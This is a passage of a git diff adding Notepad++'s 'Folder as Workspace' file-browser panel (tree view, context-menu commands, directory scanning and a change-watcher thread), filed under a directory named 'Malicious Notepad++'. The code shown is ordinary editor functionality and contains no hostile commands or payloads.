TVITEM tvItem; + tvItem.hItem = hItem; + tvItem.mask = TVIF_IMAGE | TVIF_PARAM; + SendMessage(_treeView.getHSelf(), TVM_GETITEM, 0, reinterpret_cast(&tvItem)); + + // File + if (tvItem.iImage == INDEX_LEAF) + { + return browserNodeType_file; + } + // Root + else if (tvItem.lParam != NULL) + { + return browserNodeType_root; + } + // Folder + else + { + return browserNodeType_folder; + } +} + +void FileBrowser::showContextMenu(int x, int y) +{ + TVHITTESTINFO tvHitInfo; + HTREEITEM hTreeItem; + + // Detect if the given position is on the element TVITEM + tvHitInfo.pt.x = x; + tvHitInfo.pt.y = y; + tvHitInfo.flags = 0; + ScreenToClient(_treeView.getHSelf(), &(tvHitInfo.pt)); + hTreeItem = TreeView_HitTest(_treeView.getHSelf(), &tvHitInfo); + + if (tvHitInfo.hItem == nullptr) + { + TrackPopupMenu(_hGlobalMenu, TPM_LEFTALIGN, x, y, 0, _hSelf, NULL); + } + else + { + // Make item selected + _treeView.selectItem(tvHitInfo.hItem); + + // get clicked item type + BrowserNodeType nodeType = getNodeType(tvHitInfo.hItem); + HMENU hMenu = NULL; + if (nodeType == browserNodeType_root) + hMenu = _hRootMenu; + else if (nodeType == browserNodeType_folder) + hMenu = _hFolderMenu; + else //nodeType_file + hMenu = _hFileMenu; + + TrackPopupMenu(hMenu, TPM_LEFTALIGN, x, y, 0, _hSelf, NULL); + } +} + +void FileBrowser::popupMenuCmd(int cmdID) +{ + // get selected item handle + HTREEITEM selectedNode = _treeView.getSelection(); + + switch (cmdID) + { + + // + // Toolbar menu commands + // + case IDM_FILEBROWSER_REMOVEROOTFOLDER: + { + if (not selectedNode) return; + + generic_string *rootPath = (generic_string *)_treeView.getItemParam(selectedNode); + if (_treeView.getParent(selectedNode) != nullptr || rootPath == nullptr) + return; + + size_t nbFolderUpdaters = _folderUpdaters.size(); + for (size_t i = 0; i < nbFolderUpdaters; ++i) + { + if (_folderUpdaters[i]->_rootFolder._rootPath == *rootPath) + { + _folderUpdaters[i]->stopWatcher(); + _folderUpdaters.erase(_folderUpdaters.begin() + i); + _treeView.removeItem(selectedNode); + break; + } + } + } + break; + + case IDM_FILEBROWSER_EXPLORERHERE: + { + if (not selectedNode) return; + + generic_string path = getNodePath(selectedNode); + if (::PathFileExists(path.c_str())) + { + TCHAR cmdStr[1024]; + wsprintf(cmdStr, TEXT("explorer /select,%s"), path.c_str()); + Command cmd(cmdStr); + cmd.run(nullptr); + } + } + break; + + case IDM_FILEBROWSER_CMDHERE: + { + if (not selectedNode) return; + + if (getNodeType(selectedNode) == browserNodeType_file) + selectedNode = _treeView.getParent(selectedNode); + + generic_string path = getNodePath(selectedNode); + if (::PathFileExists(path.c_str())) + { + TCHAR cmdStr[1024]; + wsprintf(cmdStr, TEXT("cmd /K cd /d %s"), path.c_str()); + Command cmd(cmdStr); + cmd.run(nullptr); + } + } + break; + + case IDM_FILEBROWSER_COPYEPATH: + { + if (not selectedNode) return; + generic_string path = getNodePath(selectedNode); + str2Clipboard(path, _hParent); + } + break; + + case IDM_FILEBROWSER_FINDINFILES: + { + if (not selectedNode) return; + generic_string path = getNodePath(selectedNode); + ::SendMessage(_hParent, NPPM_LAUNCHFINDINFILESDLG, reinterpret_cast(path.c_str()), 0); + } + break; + + case IDM_FILEBROWSER_OPENINNPP: + { + openSelectFile(); + } + break; + + case IDM_FILEBROWSER_REMOVEALLROOTS: + { + for (int i = static_cast(_folderUpdaters.size()) - 1; i >= 0; --i) + { + _folderUpdaters[i]->stopWatcher(); + + HTREEITEM root = getRootFromFullPath(_folderUpdaters[i]->_rootFolder._rootPath); + if (root) + _treeView.removeItem(root); + + _folderUpdaters.erase(_folderUpdaters.begin() + i); + } + } + break; + + case IDM_FILEBROWSER_ADDROOT: + { + generic_string folderPath = folderBrowser(_hParent, TEXT("Select a folder to add in Folder as Workspace panel")); + if (not folderPath.empty()) + { + addRootFolder(folderPath); + } + } + break; + + case IDM_FILEBROWSER_SHELLEXECUTE: + { + if (not selectedNode) return; + generic_string path = getNodePath(selectedNode); + + if (::PathFileExists(path.c_str())) + ::ShellExecute(NULL, TEXT("open"), path.c_str(), NULL, NULL, SW_SHOWNORMAL); + } + break; + + /* + case IDM_FILEBROWSER_RENAME : + TreeView_EditLabel(_treeView.getHSelf(), hTreeItem); + break; + + + + + + + case IDM_FILEBROWSER_DELETEFOLDER : + { + HTREEITEM parent = _treeView.getParent(hTreeItem); + + if (_treeView.getChildFrom(hTreeItem) != NULL) + { + TCHAR str2display[MAX_PATH] = TEXT("All the sub-items will be removed.\rAre you sure you want to remove this folder from the project?"); + if (::MessageBox(_hSelf, str2display, TEXT("Remove folder from project"), MB_YESNO) == IDYES) + { + _treeView.removeItem(hTreeItem); + //_folderUpdaters[0].stopWatcher(); + } + } + else + { + _treeView.removeItem(hTreeItem); + } + if (getNodeType(parent) == browserNodeType_folder) + _treeView.setItemImage(parent, INDEX_CLOSED_NODE, INDEX_CLOSED_NODE); + } + break; + + case IDM_FILEBROWSER_DELETEFILE : + { + HTREEITEM parent = _treeView.getParent(hTreeItem); + + TCHAR str2display[MAX_PATH] = TEXT("Are you sure you want to remove this file from the project?"); + if (::MessageBox(_hSelf, str2display, TEXT("Remove file from project"), MB_YESNO) == IDYES) + { + _treeView.removeItem(hTreeItem); + if (getNodeType(parent) == browserNodeType_folder) + _treeView.setItemImage(parent, INDEX_CLOSED_NODE, INDEX_CLOSED_NODE); + } + } + break; + */ + } +} + + + +void FileBrowser::getDirectoryStructure(const TCHAR *dir, const std::vector & patterns, FolderInfo & directoryStructure, bool isRecursive, bool isInHiddenDir) +{ + if (directoryStructure._parent == nullptr) // Root! + directoryStructure.setRootPath(dir); + + generic_string dirFilter(dir); + if (dirFilter[dirFilter.length() - 1] != '\\') + dirFilter += TEXT("\\"); + dirFilter += TEXT("*.*"); + WIN32_FIND_DATA foundData; + + HANDLE hFile = ::FindFirstFile(dirFilter.c_str(), &foundData); + + if (hFile != INVALID_HANDLE_VALUE) + { + + if (foundData.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY) + { + if (!isInHiddenDir && (foundData.dwFileAttributes & FILE_ATTRIBUTE_HIDDEN)) + { + // do nothing + } + else if (isRecursive) + { + if ((lstrcmp(foundData.cFileName, TEXT("."))) && (lstrcmp(foundData.cFileName, TEXT("..")))) + { + generic_string pathDir(dir); + if (pathDir[pathDir.length() - 1] != '\\') + pathDir += TEXT("\\"); + pathDir += foundData.cFileName; + pathDir += TEXT("\\"); + + FolderInfo subDirectoryStructure(foundData.cFileName, &directoryStructure); + getDirectoryStructure(pathDir.c_str(), patterns, subDirectoryStructure, isRecursive, isInHiddenDir); + directoryStructure.addSubFolder(subDirectoryStructure); + } + } + } + else + { + if (matchInList(foundData.cFileName, patterns)) + { + directoryStructure.addFile(foundData.cFileName); + } + } + } + + while (::FindNextFile(hFile, &foundData)) + { + if (foundData.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY) + { + if (!isInHiddenDir && (foundData.dwFileAttributes & FILE_ATTRIBUTE_HIDDEN)) + { + // do nothing + } + else if (isRecursive) + { + if ((lstrcmp(foundData.cFileName, TEXT("."))) && (lstrcmp(foundData.cFileName, TEXT("..")))) + { + generic_string pathDir(dir); + if (pathDir[pathDir.length() - 1] != '\\') + pathDir += TEXT("\\"); + pathDir += foundData.cFileName; + pathDir += TEXT("\\"); + + FolderInfo subDirectoryStructure(foundData.cFileName, &directoryStructure); + getDirectoryStructure(pathDir.c_str(), patterns, subDirectoryStructure, isRecursive, isInHiddenDir); + directoryStructure.addSubFolder(subDirectoryStructure); + } + } + } + else + { + if (matchInList(foundData.cFileName, patterns)) + { + directoryStructure.addFile(foundData.cFileName); + } + } + } + ::FindClose(hFile); +} + +bool isRelatedRootFolder(const generic_string & relatedRoot, const generic_string & subFolder) +{ + if (relatedRoot.empty()) + return false; + + if (subFolder.empty()) + return false; + + size_t pos = subFolder.find(relatedRoot); + if (pos != 0) // pos == 0 is the necessary condition, but not enough + return false; + + vector relatedRootArray = split(relatedRoot, '\\'); + vector subFolderArray = split(subFolder, '\\'); + + size_t index2Compare = relatedRootArray.size() - 1; + + return relatedRootArray[index2Compare] == subFolderArray[index2Compare]; +} + +void FileBrowser::addRootFolder(generic_string rootFolderPath) +{ + if (not ::PathFileExists(rootFolderPath.c_str())) + return; + + // make sure there's no '\' at the end + if (rootFolderPath[rootFolderPath.length() - 1] == '\\') + { + rootFolderPath = rootFolderPath.substr(0, rootFolderPath.length() - 1); + } + + size_t nbFolderUpdaters = _folderUpdaters.size(); + for (size_t i = 0; i < nbFolderUpdaters; ++i) + { + if (_folderUpdaters[i]->_rootFolder._rootPath == rootFolderPath) + return; + else + { + if (isRelatedRootFolder(_folderUpdaters[i]->_rootFolder._rootPath, rootFolderPath)) + { + //do nothing, go down to select the dir + generic_string rootPath = _folderUpdaters[i]->_rootFolder._rootPath; + generic_string pathSuffix = rootFolderPath.substr(rootPath.size() + 1, rootFolderPath.size() - rootPath.size()); + vector linarPathArray = split(pathSuffix, '\\'); + + HTREEITEM foundItem = findInTree(rootPath, nullptr, linarPathArray); + if (foundItem) + _treeView.selectItem(foundItem); + return; + } + + if (isRelatedRootFolder(rootFolderPath, _folderUpdaters[i]->_rootFolder._rootPath)) + { + ::MessageBox(_hParent, TEXT("A sub-folder of the folder you want to open exists.\rPlease remove it from the panel before you add this one."), rootFolderPath.c_str(), MB_OK); + return; + } + } + } + + std::vector patterns2Match; + patterns2Match.push_back(TEXT("*.*")); + + TCHAR *label = ::PathFindFileName(rootFolderPath.c_str()); + TCHAR rootLabel[MAX_PATH]; + lstrcpy(rootLabel, label); + size_t len = lstrlen(rootLabel); + if (rootLabel[len - 1] == '\\') + rootLabel[len - 1] = '\0'; + + FolderInfo directoryStructure(rootLabel, nullptr); + getDirectoryStructure(rootFolderPath.c_str(), patterns2Match, directoryStructure, true, false); + HTREEITEM hRootItem = createFolderItemsFromDirStruct(nullptr, directoryStructure); + _treeView.expand(hRootItem); + _folderUpdaters.push_back(new FolderUpdater(directoryStructure, this)); + _folderUpdaters[_folderUpdaters.size() - 1]->startWatcher(); +} + +HTREEITEM FileBrowser::createFolderItemsFromDirStruct(HTREEITEM hParentItem, const FolderInfo & directoryStructure) +{ + HTREEITEM hFolderItem = nullptr; + if (directoryStructure._parent == nullptr && hParentItem == nullptr) + { + TCHAR rootPath[MAX_PATH]; + lstrcpy(rootPath, directoryStructure._rootPath.c_str()); + size_t len = lstrlen(rootPath); + if (rootPath[len - 1] == '\\') + rootPath[len - 1] = '\0'; + hFolderItem = _treeView.addItem(directoryStructure._name.c_str(), TVI_ROOT, INDEX_CLOSE_ROOT, rootPath); + } + else + { + hFolderItem = _treeView.addItem(directoryStructure._name.c_str(), hParentItem, INDEX_CLOSE_NODE); + } + + for (size_t i = 0; i < directoryStructure._subFolders.size(); ++i) + { + createFolderItemsFromDirStruct(hFolderItem, directoryStructure._subFolders[i]); + } + + for (size_t i = 0; i < directoryStructure._files.size(); ++i) + { + _treeView.addItem(directoryStructure._files[i]._name.c_str(), hFolderItem, INDEX_LEAF); + } + _treeView.fold(hParentItem); + + return hFolderItem; +} + +HTREEITEM FileBrowser::getRootFromFullPath(const generic_string & rootPath) const +{ + HTREEITEM node = nullptr; + for (HTREEITEM hItemNode = _treeView.getRoot(); + hItemNode != nullptr && node == nullptr; + hItemNode = _treeView.getNextSibling(hItemNode)) + { + TVITEM tvItem; + tvItem.mask = TVIF_PARAM; + tvItem.cchTextMax = MAX_PATH; + tvItem.hItem = hItemNode; + SendMessage(_treeView.getHSelf(), TVM_GETITEM, 0, reinterpret_cast(&tvItem)); + + if (tvItem.lParam != 0 && rootPath == *((generic_string *)tvItem.lParam)) + node = hItemNode; + } + return node; +} + +HTREEITEM FileBrowser::findChildNodeFromName(HTREEITEM parent, generic_string label) +{ + HTREEITEM childNodeFound = nullptr; + + for (HTREEITEM hItemNode = _treeView.getChildFrom(parent); + hItemNode != NULL && childNodeFound == nullptr; + hItemNode = _treeView.getNextSibling(hItemNode)) + { + TCHAR textBuffer[MAX_PATH]; + TVITEM tvItem; + tvItem.mask = TVIF_TEXT; + tvItem.pszText = textBuffer; + tvItem.cchTextMax = MAX_PATH; + tvItem.hItem = hItemNode; + SendMessage(_treeView.getHSelf(), TVM_GETITEM, 0, reinterpret_cast(&tvItem)); + + if (label == tvItem.pszText) + { + childNodeFound = hItemNode; + } + } + return childNodeFound; +} + +vector FileBrowser::getRoots() const +{ + vector roots; + + for (HTREEITEM hItemNode = _treeView.getRoot(); + hItemNode != nullptr; + hItemNode = _treeView.getNextSibling(hItemNode)) + { + TVITEM tvItem; + tvItem.mask = TVIF_PARAM; + tvItem.cchTextMax = MAX_PATH; + tvItem.hItem = hItemNode; + SendMessage(_treeView.getHSelf(), TVM_GETITEM, 0, reinterpret_cast(&tvItem)); + + roots.push_back(*((generic_string *)tvItem.lParam)); + } + return roots; +} + +generic_string FileBrowser::getSelectedItemPath() const +{ + generic_string itemPath; + HTREEITEM hItemNode = _treeView.getSelection(); + if (hItemNode) + { + itemPath = getNodePath(hItemNode); + } + return itemPath; +} + +bool FileBrowser::addInTree(generic_string rootPath, generic_string addItemFullPath, HTREEITEM node, vector linarPathArray) +{ + if (node == nullptr) // it's a root. Search the right root with rootPath + { + // Search + if ((node = getRootFromFullPath(rootPath)) == nullptr) + return false; + } + + if (linarPathArray.size() == 1) + { + // Of course item to add should be exist on the disk + if (not::PathFileExists(addItemFullPath.c_str())) + return false; + + // Search : if no found, add + HTREEITEM childNodeFound = findChildNodeFromName(node, linarPathArray[0]); + if (childNodeFound != nullptr) + return false; + + // No found, good - Action + if (::PathIsDirectory(addItemFullPath.c_str())) + { + _treeView.addItem(linarPathArray[0].c_str(), node, INDEX_CLOSE_NODE); + } + else + { + _treeView.addItem(linarPathArray[0].c_str(), node, INDEX_LEAF); + } + return true; + } + else + { + for (HTREEITEM hItemNode = _treeView.getChildFrom(node); + hItemNode != NULL ; + hItemNode = _treeView.getNextSibling(hItemNode)) + { + TCHAR textBuffer[MAX_PATH]; + TVITEM tvItem; + tvItem.mask = TVIF_TEXT; + tvItem.pszText = textBuffer; + tvItem.cchTextMax = MAX_PATH; + tvItem.hItem = hItemNode; + SendMessage(_treeView.getHSelf(), TVM_GETITEM, 0, reinterpret_cast(&tvItem)); + + if (linarPathArray[0] == tvItem.pszText) + { + // search recursively the node for an action + linarPathArray.erase(linarPathArray.begin()); + return addInTree(rootPath, addItemFullPath, hItemNode, linarPathArray); + } + } + return false; + } +} + +HTREEITEM FileBrowser::findInTree(generic_string rootPath, HTREEITEM node, std::vector linarPathArray) +{ + if (node == nullptr) // it's a root. Search the right root with rootPath + { + // Search + if ((node = getRootFromFullPath(rootPath)) == nullptr) + return nullptr; + } + + if (linarPathArray.size() == 1) + { + // Search + return findChildNodeFromName(node, linarPathArray[0]); + } + else + { + for (HTREEITEM hItemNode = _treeView.getChildFrom(node); + hItemNode != NULL; + hItemNode = _treeView.getNextSibling(hItemNode)) + { + TCHAR textBuffer[MAX_PATH]; + TVITEM tvItem; + tvItem.mask = TVIF_TEXT; + tvItem.pszText = textBuffer; + tvItem.cchTextMax = MAX_PATH; + tvItem.hItem = hItemNode; + SendMessage(_treeView.getHSelf(), TVM_GETITEM, 0, reinterpret_cast(&tvItem)); + + if (linarPathArray[0] == tvItem.pszText) + { + // search recursively the node for an action + linarPathArray.erase(linarPathArray.begin()); + return findInTree(rootPath, hItemNode, linarPathArray); + } + } + return nullptr; + } +} + +bool FileBrowser::deleteFromTree(generic_string rootPath, HTREEITEM node, std::vector linarPathArray) + { + HTREEITEM foundItem = findInTree(rootPath, node, linarPathArray); + if (foundItem == nullptr) + return false; + + // found it, delete it + _treeView.removeItem(foundItem); + return true; + } + +bool FileBrowser::renameInTree(generic_string rootPath, HTREEITEM node, std::vector linarPathArrayFrom, const generic_string & renameTo) + { + HTREEITEM foundItem = findInTree(rootPath, node, linarPathArrayFrom); + if (foundItem == nullptr) + return false; + + // found it, rename it + _treeView.renameItem(foundItem, renameTo.c_str()); + return true; +} + +bool FolderInfo::addToStructure(generic_string & fullpath, std::vector linarPathArray) +{ + if (linarPathArray.size() == 1) // could be file or folder + { + fullpath += TEXT("\\"); + fullpath += linarPathArray[0]; + if (PathIsDirectory(fullpath.c_str())) + { + // search in folders, if found - no good + size_t nbFolder = _subFolders.size(); + for (size_t i = 0; i < nbFolder; ++i) + { + if (linarPathArray[0] == _subFolders[i].getName()) + return false; // Maybe already added? + } + _subFolders.push_back(FolderInfo(linarPathArray[0], this)); + return true; + } + else + { + // search in files, if found - no good + size_t nbFile = _files.size(); + for (size_t i = 0; i < nbFile; ++i) + { + if (linarPathArray[0] == _files[i].getName()) + return false; // Maybe already added? + } + _files.push_back(FileInfo(linarPathArray[0], this)); + return true; + } + } + else // folder + { + size_t nbFolder = _subFolders.size(); + for (size_t i = 0; i < nbFolder; ++i) + { + if (_subFolders[i].getName() == linarPathArray[0]) + { + fullpath += TEXT("\\"); + fullpath += linarPathArray[0]; + linarPathArray.erase(linarPathArray.begin()); + return _subFolders[i].addToStructure(fullpath, linarPathArray); + } + } + return false; + } +} + +bool FolderInfo::removeFromStructure(std::vector linarPathArray) +{ + if (linarPathArray.size() == 1) // could be file or folder + { + for (size_t i = 0; i < _files.size(); ++i) + { + if (_files[i].getName() == linarPathArray[0]) + { + // remove this file + _files.erase(_files.begin() + i); + return true; + } + } + + for (size_t i = 0; i < _subFolders.size(); ++i) + { + if (_subFolders[i].getName() == linarPathArray[0]) + { + // remove this folder + _subFolders.erase(_subFolders.begin() + i); + return true; + } + } + } + else // folder + { + for (size_t i = 0; i < _subFolders.size(); ++i) + { + if (_subFolders[i].getName() == linarPathArray[0]) + { + linarPathArray.erase(linarPathArray.begin()); + return _subFolders[i].removeFromStructure(linarPathArray); + } + } + } + return false; +} + +bool FolderInfo::renameInStructure(std::vector linarPathArrayFrom, std::vector linarPathArrayTo) +{ + if (linarPathArrayFrom.size() == 1) // could be file or folder + { + for (size_t i = 0; i < _files.size(); ++i) + { + if (_files[i].getName() == linarPathArrayFrom[0]) + { + // rename this file + _files[i].setName(linarPathArrayTo[0]); + return true; + } + } + + for (size_t i = 0; i < _subFolders.size(); ++i) + { + if (_subFolders[i].getName() == linarPathArrayFrom[0]) + { + // rename this folder + _subFolders[i].setName(linarPathArrayTo[0]); + return true; + } + } + return false; + } + else // folder + { + for (size_t i = 0; i < _subFolders.size(); ++i) + { + if (_subFolders[i].getName() == linarPathArrayFrom[0]) + { + linarPathArrayFrom.erase(linarPathArrayFrom.begin()); + linarPathArrayTo.erase(linarPathArrayTo.begin()); + return _subFolders[i].renameInStructure(linarPathArrayFrom, linarPathArrayTo); + } + } + return false; + } +} + +void FolderUpdater::startWatcher() +{ + // no thread yet, create a event with non-signaled, to block all threads + _EventHandle = ::CreateEvent(nullptr, TRUE, FALSE, nullptr); + _watchThreadHandle = ::CreateThread(NULL, 0, watching, this, 0, NULL); +} + +void FolderUpdater::stopWatcher() +{ + ::SetEvent(_EventHandle); + ::CloseHandle(_watchThreadHandle); + ::CloseHandle(_EventHandle); +} + +LPCWSTR explainAction(DWORD dwAction) +{ + switch (dwAction) + { + case FILE_ACTION_ADDED: + return L"Added"; + case FILE_ACTION_REMOVED: + return L"Deleted"; + case FILE_ACTION_MODIFIED: + return L"Modified"; + case FILE_ACTION_RENAMED_OLD_NAME: + return L"Renamed From"; + case FILE_ACTION_RENAMED_NEW_NAME: + return L"Renamed "; + default: + return L"BAD DATA"; + } +}; + +/* +bool FolderUpdater::updateTree(DWORD action, const std::vector & file2Change) +{ + + // TCHAR msg2show[1024]; + // switch (action) + // { + // case FILE_ACTION_ADDED: + // swprintf(msg2show, L"%s %s\n", explainAction(action), file2Change[0].c_str()); + // printStr(msg2show); + //::PostMessage(thisFolderUpdater->_hFileBrowser, FB_ADDFILE, nullptr, reinterpret_cast(wstrFilename.GetString())); + // break; + + // case FILE_ACTION_REMOVED: + // swprintf(msg2show, L"%s %s\n", explainAction(action), file2Change[0].c_str()); + // printStr(msg2show); + + // break; + + // case FILE_ACTION_RENAMED_NEW_NAME: + // swprintf(msg2show, L"%s from %s \rto %s", explainAction(action), file2Change[0].c_str(), file2Change[1].c_str()); + // printStr(msg2show); + + // break; + + // default: + // break; + // } + + generic_string separator = TEXT("\\\\"); + + size_t sepPos = file2Change[0].find(separator); + if (sepPos == generic_string::npos) + return false; + + generic_string pathSuffix = file2Change[0].substr(sepPos + separator.length(), file2Change[0].length() - 1); + + // remove prefix of file/folder in changeInfo, splite the remained path + vector linarPathArray = split(pathSuffix, '\\'); + + if (action == FILE_ACTION_ADDED) + { + generic_string rootPath = file2Change[0].substr(0, sepPos); + generic_string path = rootPath; + // search recursively and modify the tree structure + //bool foundAndModified = _rootFolder.addToStructure(path, linarPathArray); + bool foundAndModified = true; + if (foundAndModified) + { + generic_string addedFilePath = file2Change[0].substr(0, sepPos + 1); + addedFilePath += pathSuffix; + bool isAdded = _pFileBrowser->addInTree(rootPath, addedFilePath, nullptr, linarPathArray); + if (not isAdded) + MessageBox(NULL, addedFilePath.c_str(), TEXT("file/folder is not added"), MB_OK); + } + else + printStr(TEXT("addToStructure pb")); + } + else if (action == FILE_ACTION_REMOVED) + { + generic_string rootPath = file2Change[0].substr(0, sepPos); + // search recursively and modify the tree structure + //bool foundAndModified = _rootFolder.removeFromStructure(linarPathArray); + bool foundAndModified = true; + if (foundAndModified) + { + bool isRemoved = _pFileBrowser->deleteFromTree(rootPath, nullptr, linarPathArray); + if (not isRemoved) + MessageBox(NULL, file2Change[0].c_str(), TEXT("file/folder is not removed"), MB_OK); + } + else + printStr(TEXT("removeFromStructure pb")); + } + else if (action == FILE_ACTION_RENAMED_NEW_NAME) + { + generic_string rootPath = file2Change[0].substr(0, sepPos); + + size_t sepPos2 = file2Change[1].find(separator); + if (sepPos2 == generic_string::npos) + return false; + + generic_string pathSuffix2 = file2Change[1].substr(sepPos2 + separator.length(), file2Change[1].length() - 1); + vector linarPathArray2 = split(pathSuffix2, '\\'); + + //bool foundAndModified = _rootFolder.renameInStructure(linarPathArray, linarPathArray2); + bool foundAndModified = true; + if (foundAndModified) + { + bool isRenamed = _pFileBrowser->renameInTree(rootPath, nullptr, linarPathArray, linarPathArray2); + if (not isRenamed) + MessageBox(NULL, file2Change[0].c_str(), TEXT("file/folder is not removed"), MB_OK); + } + else + printStr(TEXT("removeFromStructure pb")); + } + + return true; +} +*/ + +DWORD WINAPI FolderUpdater::watching(void *params) +{ + FolderUpdater *thisFolderUpdater = (FolderUpdater *)params; + + generic_string dir2Watch = (thisFolderUpdater->_rootFolder)._rootPath; + if (dir2Watch[dir2Watch.length() - 1] != '\\') + dir2Watch += TEXT("\\"); // CReadDirectoryChanges will add another '\' so we will get "\\" as a separator (of monitored root) in the notification + + const DWORD dwNotificationFlags = FILE_NOTIFY_CHANGE_CREATION | FILE_NOTIFY_CHANGE_DIR_NAME | FILE_NOTIFY_CHANGE_FILE_NAME; + + // Create the monitor and add directory to watch. + CReadDirectoryChanges changes; + changes.AddDirectory(dir2Watch.c_str(), true, dwNotificationFlags); + + HANDLE changeHandles[] = { thisFolderUpdater->_EventHandle, changes.GetWaitHandle() }; + + bool toBeContinued = true; + + while (toBeContinued) + { + DWORD waitStatus = ::WaitForMultipleObjects(_countof(changeHandles), changeHandles, FALSE, INFINITE); + switch (waitStatus) + { + case WAIT_OBJECT_0 + 0: + // Mutex was signaled. User removes this folder or file browser is closed + toBeContinued = false; + break; + + case WAIT_OBJECT_0 + 1: + // We've received a notification in the queue. + { + DWORD dwAction; + CStringW wstrFilename; + if (changes.CheckOverflow()) + printStr(L"Queue overflowed."); + else + { + changes.Pop(dwAction, wstrFilename); + static generic_string oldName; + static std::vector file2Change; + file2Change.clear(); + + switch (dwAction) + { + case FILE_ACTION_ADDED: + file2Change.push_back(wstrFilename.GetString()); + //thisFolderUpdater->updateTree(dwAction, file2Change); + ::SendMessage((thisFolderUpdater->_pFileBrowser)->getHSelf(), FB_ADDFILE, reinterpret_cast(nullptr), reinterpret_cast(&file2Change)); + oldName = TEXT(""); + break; + + case FILE_ACTION_REMOVED: + file2Change.push_back(wstrFilename.GetString()); + //thisFolderUpdater->updateTree(dwAction, file2Change); + ::SendMessage((thisFolderUpdater->_pFileBrowser)->getHSelf(), FB_RMFILE, reinterpret_cast(nullptr), reinterpret_cast(&file2Change)); + oldName = TEXT(""); + break; + + case FILE_ACTION_MODIFIED: + oldName = TEXT(""); + break; + + case FILE_ACTION_RENAMED_OLD_NAME: + oldName = wstrFilename.GetString(); + break; + + case FILE_ACTION_RENAMED_NEW_NAME: + if (not oldName.empty()) + { + file2Change.push_back(oldName); + file2Change.push_back(wstrFilename.GetString()); + //thisFolderUpdater->updateTree(dwAction, file2Change); + ::SendMessage((thisFolderUpdater->_pFileBrowser)->getHSelf(), FB_RNFILE, reinterpret_cast(nullptr), reinterpret_cast(&file2Change)); + } + oldName = TEXT(""); + break; + + default: + oldName = TEXT(""); + break; + } + } + } + break; + + case WAIT_IO_COMPLETION: + // Nothing to do. + break; + } + } + + // Just for sample purposes. The destructor will + // call Terminate() automatically. + changes.Terminate(); + //printStr(L"Quit watching thread"); + return EXIT_SUCCESS; +} diff --git a/Malicious Notepad++/src/WinControls/FileBrowser/fileBrowser.h b/Malicious Notepad++/src/WinControls/FileBrowser/fileBrowser.h new file mode 100644 index 0000000..e04c655 --- /dev/null +++ b/Malicious Notepad++/src/WinControls/FileBrowser/fileBrowser.h @@ -0,0 +1,197 @@ +// This file is part of Notepad++ project +// Copyright (C)2003 Don HO +// +// This program is free software; you can redistribute it and/or +// modify it under the terms of the GNU General Public License +// as published by the Free Software Foundation; either +// version 2 of the License, or (at your option) any later version. +// +// Note that the GPL places important restrictions on "derived works", yet +// it does not provide a detailed definition of that term. To avoid +// misunderstandings, we consider an application to constitute a +// "derivative work" for the purpose of this license if it does any of the +// following: +// 1. Integrates source code from Notepad++. +// 2. Integrates/includes/aggregates Notepad++ into a proprietary executable +// installer, such as those produced by InstallShield. +// 3. Links to a library or executes a program that does any of the above. +// +// This program is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program; if not, write to the Free Software +// Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. + + +#ifndef FILEBROWSER_H +#define FILEBROWSER_H + +//#include +#ifndef DOCKINGDLGINTERFACE_H +#include "DockingDlgInterface.h" +#endif //DOCKINGDLGINTERFACE_H + +#include "TreeView.h" +#include "fileBrowser_rc.h" + +#define FB_PANELTITLE TEXT("Folder as Workspace") +/* +#define PM_NEWFOLDERNAME TEXT("Folder Name") +#define PM_NEWPROJECTNAME TEXT("Project Name") + +#define PM_SAVEWORKSPACE TEXT("Save") +#define PM_SAVEASWORKSPACE TEXT("Save As...") +#define PM_SAVEACOPYASWORKSPACE TEXT("Save a Copy As...") +#define PM_NEWPROJECTWORKSPACE TEXT("Add New Project") + +#define PM_EDITRENAME TEXT("Rename") +#define PM_EDITNEWFOLDER TEXT("Add Folder") +#define PM_EDITADDFILES TEXT("Add Files...") +#define PM_EDITADDFILESRECUSIVELY TEXT("Add Files from Directory...") +*/ +#define FB_REMOVEROOT TEXT("Remove") + +//#define PM_EDITMODIFYFILE TEXT("Copy path") + +//#define PM_WORKSPACEMENUENTRY TEXT("Workspace") +//#define PM_EDITMENUENTRY TEXT("Edit") + +//#define PM_MOVEUPENTRY TEXT("Move Up\tCtrl+Up") +//#define PM_MOVEDOWNENTRY TEXT("Move Down\tCtrl+Down") + +class TiXmlNode; +class FileBrowser; +class FolderInfo; + +class FileInfo final +{ +friend class FileBrowser; +friend class FolderInfo; + +public: + FileInfo(const generic_string & name, FolderInfo *parent) : _name(name), _parent(parent) {}; + generic_string getName() const { return _name; }; + void setName(generic_string name) { _name = name; }; + +private: + FileInfo(){}; // constructor by default is forbidden + FolderInfo *_parent = nullptr; + generic_string _name; +}; + + +class FolderInfo final +{ +friend class FileBrowser; +friend class FolderUpdater; + +public: + FolderInfo(const generic_string & name, FolderInfo *parent) : _name(name), _parent(parent) {}; + void setRootPath(generic_string rootPath) { _rootPath = rootPath; }; + generic_string getRootPath() const { return _rootPath; }; + void setName(generic_string name) { _name = name; }; + generic_string getName() const { return _name; }; + void addFile(generic_string fn) { _files.push_back(FileInfo(fn, this)); }; + void addSubFolder(FolderInfo subDirectoryStructure) { _subFolders.push_back(subDirectoryStructure); }; + + bool addToStructure(generic_string & fullpath, std::vector linarPathArray); + bool removeFromStructure(std::vector linarPathArray); + bool renameInStructure(std::vector linarPathArrayFrom, std::vector linarPathArrayTo); + +private: + FolderInfo(){}; // constructor by default is forbidden + std::vector _subFolders; + std::vector _files; + FolderInfo *_parent = nullptr; + generic_string _name; + generic_string _rootPath; // set only for root folder; empty for normal folder +}; + +enum BrowserNodeType { + browserNodeType_root = 0, browserNodeType_folder = 2, browserNodeType_file = 3 +}; + +class FolderUpdater { +friend class FileBrowser; +public: + FolderUpdater(FolderInfo fi, FileBrowser *pFileBrowser) : _rootFolder(fi), _pFileBrowser(pFileBrowser) {}; + ~FolderUpdater() {}; + //bool updateTree(DWORD action, const std::vector & file2Change); // postMessage to FileBrowser to upgrade GUI + + void startWatcher(); + void stopWatcher(); + +private: + FolderInfo _rootFolder; + FileBrowser *_pFileBrowser = nullptr; + HANDLE _watchThreadHandle = nullptr; + HANDLE _EventHandle = nullptr; + static DWORD WINAPI watching(void *param); +}; + +class FileBrowser : public DockingDlgInterface { 